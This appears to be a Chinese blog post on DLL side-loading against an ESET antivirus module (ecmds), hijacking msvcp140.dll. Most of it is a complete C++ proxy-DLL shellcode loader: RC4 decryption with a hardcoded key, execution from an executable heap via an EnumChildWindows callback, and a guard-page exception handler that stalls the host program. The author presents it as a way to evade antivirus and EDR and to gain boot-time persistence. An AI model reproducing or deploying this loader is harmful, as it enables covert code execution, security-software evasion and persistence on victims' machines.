一种应用更广泛的DLL侧载方法

一种应用更广泛的DLL侧载方法

1.寻找劫持对象

使用ProcessMonitor查看目标程序加载dll情况
这里侧载的对象是eset 32的一个模块ecmds,侧载的dll为msvcp140.dll
在这里插入图片描述
可以看到堆栈的情况,并没有调用LoadLibrary函数的情况,该dll加载先于程序的入口点,原始程序加载完dll运行一段时间就会退出,因此可以在msvcp140.dll被加载后将程序入口点patch阻断原始程序的运行流程
在这里插入图片描述

2.dll侧载

使用SharpDllProxy将msvcp140.dll的导出函数导出到文件中,该工具会生成一个.c的文件和一个dll,这个dll就是原始的msvcp140.dll
在这里插入图片描述
在这里插入图片描述

将上面导出的函数替换到下面代码的位置,然后编译生成dll文件,将该dll文件重命名为msvcp140.dll

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

#使用SharpDllProxy到处的原始dll的导出函数

HANDLE threadHandle = NULL;
PVOID pmem;
PVOID addr;
PBYTE loaderEntryPoint;
DWORD lpflOldProtect;
DWORD lpflOldProtect1;

unsigned char shellcode[] = {};
unsigned int len = 894;

BOOL DecryptShellcode()
{
	BOOL bSuccess = TRUE;

	HCRYPTKEY hCryptoKey;
	HCRYPTHASH hCryptHash;
	HCRYPTPROV hCryptoProv;

	DWORD dwLen = 10;
	unsigned char pbKey[] = "qwe123qaz?";
	bSuccess = CryptAcquireContextW(&hCryptoProv, NULL, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
	if (!bSuccess)
	{
		goto CLEANUP;
	}

	bSuccess = CryptCreateHash(hCryptoProv, ((4 << 13 | (0) | 12)), 0, 0, &hCryptHash);
	if (!bSuccess)
	{
		goto CLEANUP;
	}

	bSuccess = CryptHashData(hCryptHash, pbKey, dwLen, 0);
	if (!bSuccess)
	{
		goto CLEANUP;
	}

	bSuccess = CryptDeriveKey(hCryptoProv, CALG_RC4, hCryptHash, 0, &hCryptoKey);
	if (!bSuccess)
	{
		goto CLEANUP;
	}

	bSuccess = CryptDecrypt(hCryptoKey, NULL, FALSE, 0, (BYTE*)shellcode, (PDWORD)&len);
	if (!bSuccess)
	{
		goto CLEANUP;
	}
	goto CLEANUP;

CLEANUP:
	CryptReleaseContext(hCryptoProv, 0);
	CryptDestroyKey(hCryptoKey);
	CryptDestroyHash(hCryptHash);

	return bSuccess;
}

VOID ExecuteShellcode() {

	DecryptShellcode();

	HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	pmem = (PBYTE)HeapAlloc(hHep, 0, len);

	memcpy(pmem, shellcode, len);
	EnumChildWindows((HWND)NULL, (WNDENUMPROC)pmem, NULL);

}

LONG NTAPI VEH(PEXCEPTION_POINTERS pExcepInfo)
{

	//if (pExcepInfo->ExceptionRecord->ExceptionAddress == loaderEntryPoint)

	if (pExcepInfo->ExceptionRecord->ExceptionCode == EXCEPTION_GUARD_PAGE) {

		if (pExcepInfo->ExceptionRecord->ExceptionAddress == loaderEntryPoint) {
			//ExecuteShellcode();
			VirtualProtect(loaderEntryPoint, 1, lpflOldProtect, &lpflOldProtect);
			//VirtualProtect(Sleep, 1, PAGE_EXECUTE_READWRITE | PAGE_GUARD, &lpflOldProtect1);
			
			WaitForSingleObjectEx(threadHandle, INFINITE, TRUE);
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}

	return EXCEPTION_CONTINUE_SEARCH;
}


VOID Patch() {

	HMODULE loaderImage = GetModuleHandleA(NULL);
	DWORD len = 1;

	loaderEntryPoint = (PBYTE)loaderImage + *(DWORD*)((PBYTE)loaderImage + *((DWORD*)loaderImage + 15) + 40);
	//addr = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");

	VirtualProtect(loaderEntryPoint, 1, PAGE_EXECUTE_READ|PAGE_GUARD, &lpflOldProtect);

	//_NtProtectVirtualMemory(hProc, (PVOID*)&loaderEntryPoint, (PSIZE_T)&len, PAGE_EXECUTE_READWRITE | PAGE_GUARD, &lpflOldProtect);
	//ExecuteShellcode();
	//*(loaderEntryPoint) = 0xcc;

	AddVectoredExceptionHandler(0, &VEH);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		threadHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ExecuteShellcode, NULL, 0, NULL);
		Patch();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

将ecmds和tmpBC2E.dll以及msvcp140.dll放在同一目录运行,BOOM!
在这里插入图片描述
在这里插入图片描述

对edr或者杀软的组件进行侧载会有意想不到的效果,可能会绕过某些杀软的防护
一般的,edr或者杀软都会开机启动,因此对这类程序的dll劫持也能够起到很好的权限维持效果

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值